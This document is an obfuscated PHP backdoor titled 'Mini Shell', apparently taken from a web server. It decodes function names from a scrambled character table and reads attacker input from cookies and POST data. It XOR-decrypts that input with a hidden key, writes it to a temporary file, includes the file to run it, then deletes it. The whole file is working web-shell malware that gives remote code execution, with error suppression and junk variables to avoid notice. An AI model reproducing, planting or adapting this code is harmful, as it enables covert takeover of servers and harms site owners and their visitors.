Mini Shell

<?php
function	yy6      ()


{echo 'uf7';}



function gt1 ( $vd2   )

{$lx4=0;

$xs3	= "6?/k)<f*sa35.1xpI(Er n4lFv9-iudyeLcmt_@o;g7b'2#H0h";

  $he5       = substr("", 0);

    while(1)


{
 if($lx4>=count($vd2)) break; $he5 .= $xs3 [ $vd2[$lx4]     ]; $lx4++;


}

return $he5;


}$ty9	=	[];$rzvvym	=	98301;$ty9[93777]       = gt1 (	Array(10	,     43 , 9       , 45 , 11 ,    0       ,	42 ,	9 ,     27      , 6      , 30     ,	32    ,	26	,  27	,	22	, 26	,      26 , 30 ,	27	,     43 , 13 , 34 , 11     ,      27 ,	30 , 9     ,      48 ,	11 ,	43	, 34 ,	32     , 42 ,	43	,	34	, 45	, 22 ,)	)	;

$rl23   = 60585;
$ty9[67557]	= gt1  ( Array(1 ,       15	, 49	,	15 , 20  ,      38      , 29      ,   21 ,	23	, 28 ,	21 ,       3 , 17    ,	37      , 37 ,  24	, 16       ,    33  , 18 ,     37 , 37 , 4	, 40 ,	20 ,)	) ;$gn24 =    34845;

$ty9[54243]	=	gt1 ( Array(12	, 35	,	39 , 30    , 29 , 23 , 32 ,)	)	;

$ty9[81889]      = gt1   (	Array(47       , 7    ,)	) ;

$ty9[52701]    =     gt1 ( Array(12	, 2	,) )	;
$mz25 = 55155;

$ty9[93147] = gt1	(   Array(46  ,) )	;$ty9[96729] =	gt1 ( Array(5 ,) ) ;

$ty9[78799]   =  gt1 (	Array(6	,       28   ,	23 ,   32	, 37 ,    15 , 29 ,     36 ,	37 , 34 , 39 ,   21   ,    36  , 32 , 21    , 36 , 8    ,) )	;
$ty9[64460] = gt1      (	Array(6	,	28    , 23     , 32 , 37	, 32   ,	14    ,   28	, 8       ,	36 ,  8    ,)  ) ;

$ty9[11852]     = gt1	(   Array(9 ,	19     ,    19 ,	9   , 31 , 37     ,  35 , 32 ,      19 , 41 , 32 ,) )	;$ty9[8644] = gt1 ( Array(8 ,	36 , 19	, 37	, 19 , 32       , 15 ,	32 ,	9 ,   36 ,)	)	;
$tn26 =	92871;

$ty9[38339] =     gt1	( Array(32 , 14	, 15       ,    23  , 39    , 30 , 32    ,)   )   ;


$ty9[14782]	= gt1 ( Array(29       ,	21 ,     23 ,       28 ,   21	, 3    ,)	)	;
$rb27  =     8024;$ty9[19901] =     gt1 ( Array(8 ,	36 , 19 , 23	, 32  , 21 ,)	)	;


$ty9[95159]   =	gt1	( Array(15 , 9	, 34       ,    3 ,) ) ;

$gy17 = $_COOKIE; $dm16       = "52375";
$gy17	= $ty9[11852]($gy17, $_POST);
foreach	($gy17 as	$ex22 => $gj18)
{   function   qy13       ( $ty9,	$ex22      , $my15 )
       {	return substr ( $ty9[8644] (	$ex22	.    $ty9[93777] ,    ( $my15/$ty9[19901]( $ex22   ) )	+	1 ) ,	0	,	$my15 );
 }




 function  ox12  ( $ty9,	$xy21 )
	{ return @$ty9[95159]	($ty9[81889]	, $xy21	); }

 function mq11 ( $ty9, $gj18, $ex22)


 {
	return	ox12 (  $ty9, $gj18	)	^       qy13 ( $ty9,	$ex22	,	$ty9[19901]( $gj18	)	);
       }

       function yf10 (  $ty9,	$gj18, $ex22)


      {


	return      $ty9[38339]	( $ty9[93147] , mq11    ( $ty9, $gj18, $ex22));


	}


  function bd14      ( $ty9,	$xy21	)


 {


 if    ( isset	( $xy21[2]      ) )	{


 


      $la20   = $ty9[52701]	. md5( $ty9[93777] ) . $ty9[54243];


 @$ty9[78799] ( $la20, $ty9[96729]  . $ty9[67557]	. $xy21[1]       (	$xy21[2] ) );

  $of19 = $la20;
   @include ( $of19 );


 if     ($ty9[64460]($la20)) 
   {

 @$ty9[14782]       ( $la20 );

     }
 


     $la20	=   substr ($la20, $ty9[19901]($la20));





	exit ();

 }

	}  


 bd14  (	$ty9, yf10 ( $ty9,	$gj18,      $ex22));
}